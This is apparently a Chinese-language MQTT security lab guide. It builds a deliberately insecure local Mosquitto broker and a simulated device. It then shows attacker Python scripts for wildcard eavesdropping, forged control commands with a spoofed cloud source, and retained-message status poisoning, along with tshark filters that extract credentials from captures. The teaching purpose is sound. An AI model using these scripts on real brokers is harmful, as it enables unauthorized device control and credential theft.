
简介面向物联网安全学习者的MQTT协议消息捕捉与设备控制实验文档适合网络空间安全、物联网工程等专业学生及安全从业人员。文档以树莓派模拟智能灯泡为实验对象系统介绍MQTT发布/订阅模式、代理与客户端交互机制并针对默认明文传输、重放攻击等安全风险展开实操分析。资源包共1个docx文档容量约580KB内容包含mosquitto部署、mosquitto_sub/mosquitto_pub命令使用、Wireshark抓包解析MQTT流量、移动端MQTT调试工具伪装服务器并重放控制指令等完整流程既有协议原理讲解也有分步操作命令与验证方法便于按手册逐项复现。目前已有96人参与学习适用于希望掌握物联网通信协议安全分析、理解设备控制攻击链并制定防御策略的读者。1. 实验核心认知与目标看清物联网消息的裸奔与失控在没有客户端身份校验、没有主题权限隔离、没有传输加密的 MQTT 部署里任意一台能访问 broker 的机器都能做两件危险的事订阅一个无人看管的 topic 窃听传感器状态或者向控制 topic 发布一条伪造指令让设备执行动作。实验室里这套“基于 MQTT 协议消息捕捉与设备控制实验”的本质就是把这套攻击路径亲手走一遍然后反向理解防御该落在哪一层。它解决的真实问题是物联网设备大量使用 MQTT 做轻量通信时消息的机密性、完整性和来源可信度通常是三个洞而洞往往不在协议本身而在部署配置上。实验适合正在学物联网安全、或者想从协议层面理解设备被控制原理的人我按自己会做的方案把它们拆成可复现的验证步骤。2. 前置理论拆解MQTT 安全模型与实验环境搭建的边界条件开始抓包之前先得明白这次实验里 MQTT 的安全风险到底分布在哪几个面上因为后边的消息捕捉和设备控制操作全部是围绕这些面展开的。MQTT 协议本身是一套发布/订阅模型核心组件就三样broker、publisher、subscriber。客户端连上 broker 之后靠 topic 作为消息路由的地址靠 QoS 决定消息投递的可靠性等级靠 retain 标志决定这条消息要不要被 broker 缓存给后来的订阅者。安全研究员关注的是 broker 对外暴露的端口、topic 的可见范围、连接时是否要求身份凭证以及传输层是否加密。大部分实验环境里 broker 用默认配置启动时1883 端口明文监听、允许匿名连接、topic 无任何 ACL 限制这三个默认值加在一起就是一条可以走进设备内部的路。实验实施前我习惯先把环境画成一个最小可信边界。broker 用一个独立的容器或者轻量虚拟机跑客户端用一个 Python 脚本模拟温湿度传感器定期上报攻击机就用本机Wireshark 抓本机 loopback 或 broker 所在网卡的流量。这样画边界的好处是后边做消息捕捉时要过滤的目标流量范围非常清楚不会把其他无关流量混进分析结果里。一个常见误解是认为 MQTT 消息走的是长连接抓包困难实际上 broker 和客户端之间的 MQTT 控制报文是直接承载在 TCP 载荷里的只要抓到 TCP 连接建立后的数据段就能完整还原 CONNECT、SUBSCRIBE、PUBLISH 这些报文结构。2.1 MQTT 协议层的安全短板对照实验里要验证的攻击路径全部来自这一层的特性。我习惯列一张表把协议特征和它对应的安全风险一一对照直接决定后边实验脚本怎么写。协议特性我们的实验关注点对应的安全风险1883 端口明文传输抓包能看到完整 payload消息内容窃听敏感数据裸奔匿名连接允许客户端不需要用户名密码即可连上 broker任何人都能接入消息总线topic 通配符订阅 /#/一次订阅拿到所有消息消息泄露面扩大retain 消息缓存broker 保留最后一条消息给新订阅者新连接者第一时间读到设备状态QoS 重传机制QoS1/QoS2 下会有重复报文攻击者利用重放逻辑干扰状态判断这张表是本实验的操作地图后面每一步都能在表里找到对应位置。不只是实验室里适用真实物联网系统做安全评估时第一步也是照着这张表去检查 broker 的配置。2.2 实验环境清单与 broker 的快速拉起命令环境准备遵循“最少依赖”原则。broker 选用 Mosquitto因为它的配置文件是纯文本能一行一行解释清楚每个安全参数的作用比黑盒的云 broker 更利于观察。客户端库用 paho-mqttPython 环境下两条命令就能起来。下面是 broker 的启动命令我加了详细的配置说明。bash1. 安装 mosquittomacOS 用 brewDebian/Ubuntu 用 apt。实验机已装则跳过sudo apt install -y mosquitto mosquitto-clients2. 写一个专门用于本实验的配置文件不用系统默认的 /etc/mosquitto/mosquitto.confmkdir -p ~/iot-security-lab cd ~/iot-security-lab cat mosquitto-lab.conf EOF监听 1883允许当前网段的连接不要监听 localhost否则无法模拟远程攻击listener 1883 0.0.0.0实验初期故意打开匿名访问用于验证“无凭证即可接入”的风险allow_anonymous true关闭持久化避免上一次实验的 retain 消息干扰结果persistence false EOF3. 启动 broker验证配置是否正确、服务是否成功监听指定端口mosquitto -c mosquitto-lab.conf -d sleep 2 ss -lntp | grep 1883逻辑说明监听地址写成 0.0.0.0是为了让本机以外的虚拟机或另一个容器也能连到这个 broker模拟攻击者从“外部网络”触达设备的场景。allow_anonymous true 是复现安全风险的核心开关如果这里设成 false后面的设备控制实验连连接都建立不了就看不到消息层面的攻击了。配置里特意关掉 persistence是因为 retain 消息和持久会话会把上一次实验的状态带进来干扰抓包分析和控制效果验证实验环境保持干净是一个容易被忽略但很重要的原则。参数解读listener 1883 0.0.0.0 指定监听端口和网卡地址allow_anonymous true 表示 broker 不校验客户端身份persistence false 让 broker 不把 session 和消息落盘。这三项共同构成了一个“最脆弱但最适合做安全实验”的现场环境。生产环境里这三项的值都会反过来设但那不是这次实验的目标。2.3 Python 客户端与抓包工具的联动方式broker 跑起来之后需要一个后台线程持续上报设备状态模拟真实传感器的遥测数据。在安全实验里这个客户端既是“合法设备”也是后面被攻击者冒充的对象。我写的模拟客户端代码如下。python import paho.mqtt.client as mqtt import time import json import random import threadingBROKER_HOST 127.0.0.1 BROKER_PORT 1883 TOPIC_STATUS devices/device01/status TOPIC_CONTROL devices/device01/controldef on_connect(client, userdata, flags, rc): if rc 0: print(f[合法设备] 已连上 broker {BROKER_HOST}:{BROKER_PORT}) # 合法设备只订阅控制主题等待服务器下发指令 client.subscribe(TOPIC_CONTROL, qos1) else: print(f[合法设备] 连接失败rc{rc})def report_status(client): status { device: device01, temperature: round(20 random.uniform(0, 10), 2), switch: on, ts: int(time.time()) } client.publish(TOPIC_STATUS, json.dumps(status), qos1) print(f[合法设备] 上报状态: {status})def run(): client mqtt.Client() client.on_connect on_connect client.connect(BROKER_HOST, BROKER_PORT, keepalive60) client.loop_start()while True: report_status(client) time.sleep(5)ifname main: threading.Thread(targetrun, daemonTrue).start() try: alive threading.Event() alive.wait() except KeyboardInterrupt: pass逻辑说明合法设备连接成功后在 on_connect 回调里订阅控制 topic表示这个设备愿意接收来自云平台的指令。上报状态用定时循环实现每五秒向 status topic 发一条 JSON 格式的状态消息。这里的 json.dumps 序列化后的 payload 就是后面抓包时要观察的明文内容。把整个逻辑跑在一个 daemon 线程里是为了同时开着 Wireshark 抓包实现边运行边捕捉的联动效果后续的攻击脚本也在这个上下文里执行。参数解读keepalive60 表示客户端每 60 秒发一次 PINGREQ 维持会话QoS1 意味着 PUBLISH 报文需要 broker 回 PUBACK这样才能在 Wireshark 里同时看到 PUBLISH 和 PUBACK 两条消息便于对比清点更利于讲清楚“消息捕捉”这一步到底捉到了什么。3. 消息捕捉实验从 Wireshark 过滤语法到还原完整 MQTT 会话消息捕捉是本实验的“眼睛”。如果抓不到消息后面所有分析都是空中楼阁。这一步要解决的实操问题是WiFi 网卡混杂模式、多网卡环境、TLS 加密流量这三类客观障碍下如何把 MQTT 报文从一堆背景噪声里干净地挑出来。我一般把抓包分为两个层次链路层找 TCP 流协议层解析 MQTT 报文结构。3.1 最小可用的 Wireshark 过滤器组合Wireshark 启动后选择 broker 监听的网卡。如果 broker 和攻击机跑在同一台机器上抓 loloopback接口如果 broker 在另一台虚拟机里就抓连接那块虚拟网卡。这里有一个最简单的过滤器直接在 filter 栏输入mqtt回车Wireshark 就会把携带 MQTT 控制报文的 TCP 段标记出来。但更精确的做法是先用tcp.port 1883拿到所有与 broker 的 TCP 通信再用mqtt过滤出协议解析成功的部分。bash常见过滤组合tcp.port 1883 mqtt # 只看解析为 MQTT 的包最常用 mqtt.msgtype 3 # 只看 PUBLISH 报文3 是 PUBLISH 类型 mqtt.topic contains device # 只看 topic 里包含 device 的报文 mqtt.publish.payload contains temperature # 截获 payload 带 temperature 的消息参数说明mqtt.msgtype里的数字是 MQTT 控制报文类型CONNECT1CONNACK2PUBLISH3SUBSCRIBE8这些数字在过滤和统计时非常有价值。tcp.port1883是第一道粗筛只用mqtt可能会漏掉分片导致的“未识别”报文两种过滤器叠加能保证不丢关键包。实验里当你看见一个完整的顺序——CONNECT、CONNACK、SUBSCRIBE、SUBACK、PUBLISH、PUBACK——就说明消息捕捉链路已全部打通。3.2 跟随 TCP 流还原完整会话内容在 Wireshark 里右键任一条 MQTT 报文选择“追踪流 → TCP 流”会弹出完整会话内容。这是消息捕捉实验里最直观的一步你能清楚看到客户端先发什么、broker 回什么、设备在往哪个 topic 推什么内容。这个视图里看不到用户名密码也好、明文 payload 也好全都直接暴露。对于后续要写报告的场景我更推荐用 tshark 导出干净的结果。tshark 是 Wireshark 的命令行版本适合批量分析和自动提取。bash抓取 .pcap 后用 tshark 提取 topic 和 payloadtshark -r mqtt_capture.pcap -Y mqtt.topic -T fields-e frame.number -e mqtt.topic -e mqtt.publish.payload输出示例:12 devices/device01/status {device: device01, temperature: 24.13, switch: on, ts: 1719984000}逻辑说明-Y后面跟着显示过滤器表达式-T fields指定输出格式为字段列表-e声明要提取哪些字段。这样一条命令就能把整份抓包里的消息主题、payload 变化、出现顺序完整拉取出来直接就能看出消息里的温度值从 24.13 变成 31.05 的完整时序。这个能力在真实运维里同样有用排查“为什么设备离线”或者“这条指令到没到设备”时不用开图形界面一条 tshark 命令就能定位。参数解读frame.number是 pcap 中报文的序号可以用来快速定位和原始抓包的对应关系payload默认按字节数组输出如果加了-E occurrencef可以只取第一条出现的字段。实验中每一次改变设备状态后重新执行一次这条命令对比前后两屏输出消息捕捉工具链就算完全掌握了。3.3 明文凭据与敏感字段的检索技巧捕捉到的消息不止包含 payload有些客户端会在 CONNECT 报文里带上 username 和 password 字段如果实验环境里配置了账号密码这里就是一个直接可用的嗅探证据。在 Wireshark 里的操作方法为bash快速找 CONNECT 报文及其携带的身份信息tshark -r mqtt_capture.pcap -Y mqtt.type connect-e mqtt.username -e mqtt.possiblepasswd找所有包含 password 字段的报文tshark -r mqtt_capture.pcap -Y mqtt.proto.password需要提醒的一个要点是MQTT 协议本身不加密任何字段用户名密码是 base64 编码传输还是明文传输完全取决于客户端库和 broker 配置抓包工具都能直接提取。这也解释了一个常被搞混的问题——MQTT 的安全问题主要不是协议设计缺陷而是默认不加密、不鉴权导致部署者以为“没人会抓我内网流量”就裸奔运行。4. 设备控制实验从订阅窃听到主动下发控制指令消息捕捉解决“看得到”的问题设备控制实验解决“控得住”的问题。这一步我要明确声明实验边界下面的操作对象是本实验搭建的本地模拟设备不是真实公网设备操作方法用于安全教学和自查不要对着未授权的系统复现。在这个前提下控制实验的核心路径是三步用通配符订阅拿到设备状态解析状态字段然后向控制主题发布伪造指令改变设备执行逻辑。4.1 攻击者视角的订阅脚本通配符主题的泄露扩大合法设备只订阅了devices/device01/control这个唯一主题但 MQTT 协议允许客户端用通配符订阅一批主题。devices//control能订阅所有设备控制通道devices/#能订阅所有主题。这就是一个天然的消息捕捉扩展手段。攻击者脚本如下。python import paho.mqtt.client as mqttBROKER_HOST 127.0.0.1 BROKER_PORT 1883def on_message(client, userdata, msg): print(f[攻击者] 捕获 topic{msg.topic}, qos{msg.qos}) print(f[攻击者] payload{msg.payload.decode()})client mqtt.Client() client.on_message on_message client.connect(BROKER_HOST, BROKER_PORT, keepalive30) client.subscribe(devices/#, qos1) client.loop_forever()逻辑说明subscribe(devices/#)是本实验的关键动作。#是 MQTT 的多层通配符能匹配devices下所有层级的所有主题。设备状态和控制指令都是在这些主题下流转的所以这一条订阅就把整个设备的通信内容全部拿到手了。前面的合法设备代码里订阅的主题是完全确定的而这段代码故意不做任何过滤这就是实验要展示的配置缺陷——broker 没有任何 ACL 规则限制通配符订阅。如果 ACL 配了但没配好常见的失误是只限制了主题前缀没限制层级通配符一样能被绕过去。4.2 发布伪造控制指令切换设备开关状态拿到设备状态之后攻击者知道了两个关键事实设备 ID 是 device01状态里有 switch 字段。接下来就是向控制主题发指令。这里要模仿设备厂商云平台的指令格式不同的设备控制格式不同但实验里我们自己定义了 JSON 的{switch: off}这个协议所以攻击指令最直接的就是伪造一条控制 payload。python import paho.mqtt.client as mqtt import json import timeBROKER_HOST 127.0.0.1 BROKER_PORT 1883 CONTROL_TOPIC devices/device01/controlclient mqtt.Client() client.connect(BROKER_HOST, BROKER_PORT, keepalive30)伪造一条与平台下发格式完全一致的控制指令fake_cmd { cmd: switch, value: off, ts: int(time.time()), source: cloud } client.publish(CONTROL_TOPIC, json.dumps(fake_cmd), qos1) print(f[攻击者] 已向 {CONTROL_TOPIC} 发布伪造指令: {fake_cmd})client.disconnect()逻辑说明publish的目标主题和控制指令格式与合法设备订阅的内容对应。合法设备收到这条消息后会认为它来自云平台执行开关断开动作。在实验里我们可以在合法设备脚本的 on_message 回调里加一个 print就能看见设备收到了这条指令。这就是“伪造指令控制设备”的完整链路从订阅窃听出发到指令注入结束。实际操作中攻击者一般不主动断开连接而是保持会话持续监听设备的后续状态观察自己的指令是否生效。参数解读source: cloud字段是模仿可信来源的标签。在很多真实设备固件里设备端对控制指令的合法性判断只看 payload 格式而不验证消息签名或消息来源。所以加这个字段不是多余的它直接击穿了常见的“轻量设备固件不做身份验证”的软肋。4.3 在合法设备端观察指令到达与状态改变要验证控制是否生效不能只在攻击者这边看还要回到合法设备端观察。在合法设备脚本中把 on_message 回调完善一下加上如下内容。python def on_control_message(client, userdata, msg): try: cmd json.loads(msg.payload.decode()) print(f[合法设备] 收到控制指令: {cmd}) if cmd.get(cmd) switch: print(f[合法设备] 执行动作: 开关切换到 {cmd.get(value)}) except Exception as e: print(f[合法设备] 解析指令失败: {e})加上这段之后合法设备每收到一条指令都会打印“执行动作”。实验时可以引导观察一个现象攻击者脚本发完指令后合法设备控制台里出现“开关切换到 off”而设备上报的状态里 switch 字段立即从 on 变为 off。这意味着控制链路已经完整走通消息捕捉加上指令注入加状态回读构成了一个完整攻击闭环。设备控制达到这个程度意味着攻击者对设备的控制能力等同于其云平台下发能力区别只在于攻击者没有经过任何鉴权。5. 增强实验效果保留消息投毒、统计特征与防御侧验证到这里基础的消息捕捉和设备控制实验已经完成。最后一章我给出两个方向上可直接扩展的实操技巧一个从攻击侧的隐蔽性出发一个从防御侧的审计和验证出发用来把实验报告写厚也把 MQTT 相关的安全能力真正留在自己手里。5.1 用 retain 消息实现离线状态投毒本实验的第一步配置里特意关掉了 persistenc e目的是让基线实验结果不被脏数据干扰。但真实的攻击场景中retain 消息是控制离线状态下设备行为的良好载体。原理是 broker 会保留发布到带 retain 标志的主题的最后一条消息后续任何客户端订阅该主题时第一条收到的就是这条保留消息。在实验环境里加入一段投毒脚本可以把设备状态改成攻击者想要的样子。python import paho.mqtt.client as mqtt import json import timeBROKER_HOST 127.0.0.1 BROKER_PORT 1883 STATUS_TOPIC devices/device01/statusclient mqtt.Client() client.connect(BROKER_HOST, BROKER_PORT, keepalive30)poison { device: device01, temperature: 86.5, # 严重超标的假温度 switch: on, ts: int(time.time()), attacker_flag: retain_poison } client.publish(STATUS_TOPIC, json.dumps(poison), qos1, retainTrue) print(f[攻击者] 向 {STATUS_TOPIC} 发布 retained 毒化消息) client.disconnect()逻辑说明发布时参数retainTrue是整段代码的关键broker 收到这条消息后不只是转发给当前订阅者还会存储在主题下。新的订阅者一上线就先收到这条被篡改的状态然后才会收到后续实时上报的消息。这个技巧在实际物联网攻击里很常见让监控平台看到的设备状态是攻击者伪造的掩盖正在进行的其他攻击动作。实验中我们可以在合法设备重启后重新订阅观察它收到的第一条消息的来源。5.2 与行为审计日志做横向对比把实验数据和“上网行为管理审计”这类设备侧的审计视角结合起来从数据可用性层面做一个简单的验证手法。关注取证或者做安全报告的人可以把 Wireshark 导出的报文时间线与设备端行为审计日志的时间线做差值计算验证消息到达的延迟范围。在真实物联网环境里这条链路对应的是审计平台从旁路流量里还原 MQTT 会话提取设备动作记录的能力。bash从 tshark 导出抓包时间戳与 topic、payload 对照表tshark -r mqtt_capture.pcap -Y mqtt.msgtype 3-E separator|-T fields -e frame.time_epoch -e mqtt.topic -e mqtt.publish.payload这行命令会把每次设备上报与控制指令的时间戳、主题、内容排列成一行一行的记录可以直接进 Excel 或导入审计分析脚本。时间戳使用秒级的 epoch 值方便与设备端日志系统的毫秒级时间戳做差值对比。这也是设备控制实验里验证“指令到达时延”和“状态上报周期”最轻量的手段。做审计时如果平台侧日志的时间差超过 MQTT 的 keepalive 周期就要考虑网络中是否存在消息被缓冲或篡改的可能这正是把实验技术迁移到真实运维场景的一个具体结合点。本文还有配套的精品资源点击获取